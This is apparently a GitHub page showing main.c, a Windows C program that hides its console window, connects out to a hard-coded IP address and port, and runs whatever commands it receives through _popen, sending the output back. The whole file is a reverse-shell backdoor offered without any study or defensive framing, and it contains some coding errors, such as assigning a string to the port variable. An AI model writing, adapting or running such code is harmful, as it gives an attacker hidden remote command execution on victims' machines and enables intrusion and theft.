-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.c
executable file
·81 lines (76 loc) · 1.96 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock2.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <unistd.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<string.h>
#define make_zero(val,size) (void) memset((val),0,(size))
//entry point fun for win api
int sock;
void spwan_shell()
{
char chunk_buffer[1024];
char container[1024];
char res[20000];
while(69)
{
start:
make_zero(chunk_buffer,sizeof(chunk_buffer));
make_zero(container,sizeof(container));
make_zero(res,sizeof(res));
recv(sock,chunk_buffer,1024,0);
if(strcmp("q",chunk_buffer)==0)
{
closesocket(sock);
WSACleanup();
exit(0);
}
else
{
FILE *ptr;
ptr=_popen(chunk_buffer,"r");
while(fgets(container,1024,ptr)!=NULL)
{
strcat(res,container);
}
send(sock,res,sizeof(res),0);
fclose(ptr);
}
}
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrev,LPSTR cmdline_call,int cmdShow)
{
HWND handler;
WSADATA socket_info;
AllocConsole();
handler=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(handler,0);
// passing 0 enables the visibility of our console
unsigned short port;
struct sockaddr_in ServAddr;
char *ip;
ip="192.168.43.163";
port="6969";
if(WSAStartup(MAKEWORD(2,0),&socket_info)!=0)
{
exit(1);
}
// ipv4 we take af_inet
sock=socket(AF_INET,SOCK_STREAM,0);
memset(&ServAddr,0,sizeof(ServAddr));
ServAddr.sin_family=AF_INET;
ServAddr.sin_addr.s_addr=inet_addr(ip);
ServAddr.sin_port=htons(port);
top:
while(connect(sock,(struct sockaddr *)&ServAddr,sizeof(ServAddr))!=0)
{
Sleep(5);
goto top;
}
spwan_shell();
}